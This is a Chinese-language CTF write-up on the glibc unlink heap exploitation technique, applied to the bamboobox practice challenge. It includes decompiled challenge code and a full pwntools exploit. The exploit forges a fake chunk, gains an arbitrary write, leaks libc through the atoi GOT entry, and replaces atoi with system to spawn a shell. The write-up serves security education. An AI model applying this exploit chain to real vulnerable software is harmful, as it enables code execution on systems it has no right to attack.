Unlink 原理 简介 unlink 是利用 glibc 在双向链表管理空闲块时执行 fd->bk = bk; bk->fd = fd 的机制,通过伪造 chunk 的 fd 和 bk 指针,在触发 unlink 过程时实现任意地址写,从而达到控制程序执行流的经典堆利用技术。
完整利用过程 unlink的过程分成以下几步
BK = P->bk,FD = P->fd;FD ->bk =BK;BK - fd =FD。
BK = P->bk,FD = P->fd。
FD ->bk =BK
BK - fd =FD
接下来看看我们是怎么利用它的。
比如我们有三个堆块,第一个和第三个都是正在使用的,第二个是free的,如果存在堆溢出的漏洞我们就可以利用chunk0(第一个堆块)去改写chunk1(第二个堆块)的fd和bk。
此时我们把第二个堆块的的fd = &chunk1 - 3size(32位size=4,64位size=8),bk = &chunk1 - 2 size。
此时我们free chunk0它是个small chunk,然后前面不是空闲的,不会向前合并;后面是空闲的,就会向后面合并。
然后就会执行unlink,执行的时候:
就可以达到
1 2 chunk1 = &chunk1 -2*size chunk1 = &chunk1 -3*size
注:为什么要设置成fd = &chunk1 - 3 * size,bk = &chunk1 - 2 * size。
因为有检查机制
1 2 3 // fd bk if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
例题 hitcontraining_unlink 题目:
main():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int __fastcall main (int argc, const char **argv, const char **envp) { void (**v4)(void ); char buf[8 ]; unsigned __int64 v6; v6 = __readfsqword(0x28u ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); v4 = (void (**)(void ))malloc (0x10u LL); *v4 = (void (*)(void ))hello_message; v4[1 ] = (void (*)(void ))goodbye_message; (*v4)(); while ( 1 ) { menu(); read(0 , buf, 8uLL ); switch ( atoi(buf) ) { case 1 : show_item(); break ; case 2 : add_item(); break ; case 3 : change_item(); break ; case 4 : remove_item(); break ; case 5 : v4[1 ](); exit (0 ); default : puts ("invaild choice!!!" ); break ; } } }
add_item();
这ADD函数可以看出控制堆块的指针存在bss段上&unk_6020C8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 __int64 add_item () { int i; int v2; char buf[8 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); if ( num > 99 ) { puts ("the box is full" ); } else { printf ("Please enter the length of item name:" ); read(0 , buf, 8uLL ); v2 = atoi(buf); if ( !v2 ) { puts ("invaild length" ); return 0LL ; } for ( i = 0 ; i <= 99 ; ++i ) { if ( !*((_QWORD *)&unk_6020C8 + 2 * i) ) { *((_DWORD *)&itemlist + 4 * i) = v2; *((_QWORD *)&unk_6020C8 + 2 * i) = malloc (v2); printf ("Please enter the name of item:" ); *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int )read(0 , *((void **)&unk_6020C8 + 2 * i), v2)) = 0 ; ++num; return 0LL ; } } } return 0LL ; }
change_item();
没有对更改的长度进行检测,存在堆溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 unsigned __int64 change_item () { int v1; int v2; char buf[16 ]; char nptr[8 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); if ( num ) { printf ("Please enter the index of item:" ); read(0 , buf, 8uLL ); v1 = atoi(buf); if ( *((_QWORD *)&unk_6020C8 + 2 * v1) ) { printf ("Please enter the length of item name:" ); read(0 , nptr, 8uLL ); v2 = atoi(nptr); printf ("Please enter the new name of the item:" ); *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int )read(0 , *((void **)&unk_6020C8 + 2 * v1), v2)) = 0 ; } else { puts ("invaild index" ); } } else { puts ("No item in the box" ); } return __readfsqword(0x28u ) ^ v5; }
思路:利用堆溢出,伪造出一个已经被free的堆块,在free它附件的堆块触发unlink,从而更改相对应的指针为atoi的got表,泄露出libc的基
地址,再计算出system的地址,最后把ayoi的got表指向的地址改成system_addr,
先上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from pwn import *context(os="linux" , arch="amd64" ) context.log_level = "info" sh = remote("node5.buuoj.cn" ,28533 ) elf = ELF("./bamboobox" ) libc = ELF("./buu-ubuntu16_64-libc-2.23.so" ) def show_item (): sh.sendlineafter(b"Your choice:" , b"1" ) def add_item (length, name ): sh.sendlineafter(b"Your choice:" , b"2" ) sh.sendlineafter(b"Please enter the length of item name:" , str (length).encode()) sh.sendlineafter(b"Please enter the name of item:" , name.encode()) def change_item (index, length, name ): sh.sendlineafter(b"Your choice:" , b"3" ) sh.sendlineafter(b"Please enter the index of item:" , str (index).encode()) sh.sendlineafter(b"Please enter the length of item name:" , str (length).encode()) sh.sendlineafter(b"Please enter the new name of the item:" , name) def remove_item (index ): sh.sendlineafter(b"Your choice:" , b"4" ) sh.sendlineafter(b"Please enter the index of item:" , str (index).encode()) bss = 0x6020c8 add_item(0x80 , "chunk0" ) add_item(0x80 , "chunk1" ) add_item(0x10 , "chunk2" ) payload = p64(0 ) payload += p64(0x81 ) payload += p64(bss - 3 * 8 ) payload += p64(bss - 2 * 8 ) payload += b'a' * (0x80 - 0x20 ) payload += p64(0x80 ) payload += p64(0x90 ) change_item(0 , len (payload), payload) remove_item(1 ) atoi_got = elf.got["atoi" ] payload = p64(0 ) * 3 payload += p64(atoi_got) change_item(0 , len (payload), payload) show_item() sh.recvuntil(b"0 : " ) atoi_addr = u64(sh.recv(6 ).ljust(8 , b"\x00" )) libc_base = atoi_addr - libc.sym["atoi" ] log.success("atoi_addr : " + hex (atoi_addr)) log.success("libc_base : " + hex (libc_base)) system_addr = libc_base + libc.sym["system" ] change_item(0 , 8 , p64(system_addr)) log.success("system_addr: " + hex (system_addr)) sh.sendlineafter(b"Your choice:" , b"/bin/sh" ) sh.interactive()
解释:
我们先创建三个堆块,chunk0和chunk1是用来构造fake_chunk的和触发unlink的
chunk2是用来防止与top chunk合并的。
1 2 3 # 覆盖 chunk1 的 prev_size 和 size payload += p64(0x80) payload += p64(0x90)
prev_size当上一个堆块是free的时候储存的是上一个堆块的大小,fake_chunk的大小是0x80所以覆盖成0x80。
size当上一个堆块是free状态的时候它的标志位应该是0,所以把0x91覆盖成0x90。
初始我们free掉chunk1,刚刚我们已经把fake_chunk构造成了free的状态,所以此时会触发unlink。
执行unlink和我们上面描述的一样,此时chunk0 = &chunk0 - 0x18 也就是bss - 0x18,所以我们将chunk0+0x18处储存的内容改成
atoi的got表,就相当于将chunk覆盖成了atoi的got,show的时候就会展示出atoi的真实地址。
计算出system的地址,此时由上面的分析可以此时chunk杯覆盖成了atoi的got表,我们更改chunk的内容就是改的atoi的真实地址。
我们把atoi的地址改成system的地址,发生/bin/sh就能成功了。